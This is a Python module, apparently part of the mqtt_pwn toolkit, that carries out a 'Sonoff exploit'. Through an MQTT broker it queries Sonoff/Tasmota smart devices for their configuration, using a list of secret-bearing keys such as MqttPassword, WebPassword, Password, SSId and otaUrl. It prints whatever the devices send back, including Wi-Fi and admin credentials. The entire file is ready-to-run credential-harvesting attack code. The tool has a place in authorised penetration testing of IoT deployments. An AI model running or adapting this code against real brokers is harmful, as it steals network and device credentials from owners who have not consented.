import json
from threading import Thread, Lock
from time import sleep, time

from paho.mqtt import client as mqtt

from mqtt_pwn.config import DEFAULT_BROKER_HOST, DEFAULT_BROKER_PORT

TOPIC_PREFIX = 'cmnd/'
RESULT_TOPIC_SUFFIX = 'RESULT'
INTERESTING_TOPICS = [
    'AP',
    'FullTopic',
    'Hostname',
    'IPAddress1',
    'MqttClient',
    'MqttHost',
    'MqttPassword',
    'MqttUser',
    'Password',
    'Password2',
    'SSId',
    'SSId2',
    'WebConfig',
    'WebPassword',
    'WebServer',
    'WifiConfig',
    'otaUrl'
]


class SonoffMqttClient(object):
    """ Represents a MQTT Client connection handler class for Sonoff Exploit"""

    def __init__(self, host=DEFAULT_BROKER_HOST, port=DEFAULT_BROKER_PORT):
        self._mqtt_client = mqtt.Client()

        self.host = host
        self.port = port
        self.timeout = 10
        self.prefix = TOPIC_PREFIX
        self.listen_timeout = 5
        self.cli = None

        self.should_stop = False
        self.keyboard_interrupt_occurred = False

        self.loop_lock = Lock()

        self._mqtt_client.on_message = self.mqtt_on_message
        self._mqtt_client.on_connect = self.mqtt_on_connect

    def publish_probe_message(self, topic):
        """Publishes an empty message to a topic (according to the sonoff RFC)"""
        self._mqtt_client.publish(topic, None)

    def mqtt_on_connect(self, mqtt_client, userdata, flags, result):
        """Handle when a connection was established"""

        for current_topic in INTERESTING_TOPICS:
            self._mqtt_client.publish(self.prefix + current_topic)

    def mqtt_on_message(self, mqtt_client, obj, msg):
        """Handles when a message is received"""

        msg_data = json.loads(msg.payload.decode())

        for key, value in msg_data.items():
            self.cli.print_ok(f'Found {key} - {value}')

    def set_prefix(self, prefix):
        """Sets the prefix"""

        self.prefix = prefix

    def set_timeout(self, listen_timeout):
        """Sets the timeout"""

        self.listen_timeout = listen_timeout

    def set_cli(self, cli):
        """Sets the CLI"""

        self.cli = cli

    def run(self):
        """Run the sonoff exploit"""

        if self.cli.mqtt_client.username and self.cli.mqtt_client.password:
            self._mqtt_client.username_pw_set(self.cli.mqtt_client.username, self.cli.mqtt_client.password)
            
        self._mqtt_client.connect(self.host, self.port, self.timeout)
        self._mqtt_client.subscribe(self.prefix + RESULT_TOPIC_SUFFIX)

        Thread(target=self.check_for_timeout).start()

        while True:
            try:
                with self.loop_lock:
                    if self.should_stop:
                        break

                self._mqtt_client.loop()
            except KeyboardInterrupt:
                self.keyboard_interrupt_occurred = True
                self.cli.print_error('Stopping Sonoff exploit ...', start=' ')
                break

    def check_for_timeout(self):
        """Check whether the time is up (to run for a limited amount of time)"""

        start_time = time()

        while True:
            if self.keyboard_interrupt_occurred:
                break

            if time() > start_time + self.listen_timeout:
                with self.loop_lock:
                    self.should_stop = True
                    break

            sleep(0.1)

    @classmethod
    def from_other_client(cls, client):
        """Creates an instance from other MQTT client"""

        return cls(
            host=client.host,
            port=client.port)


class SonoffExploit(object):
    """ Represents the Sonoff Exploit class """

    def __init__(self, prefix, client, timeout, cli):
        self.prefix = self._normalize_prefix(prefix)
        self.client = client
        self.timeout = timeout
        self.cli = cli

        self.client.set_prefix(self.prefix)
        self.client.set_timeout(self.timeout)
        self.client.cli = cli

    def _normalize_prefix(self, prefix):
        """Normalizes the prefix"""

        if not prefix.endswith('/'):
            prefix = prefix + '/'

        return prefix

    def run_exploit(self):
        """Runs the exploit, and prints the passwords to console"""
        self.client.run()

    @staticmethod
    def run(prefix, timeout, cli):
        """Creates a Sonoff exploit/client instance from another CLI and runs it"""

        mqtt_client = SonoffMqttClient.from_other_client(cli.mqtt_client)
        SonoffExploit(prefix, mqtt_client, timeout, cli).run_exploit()
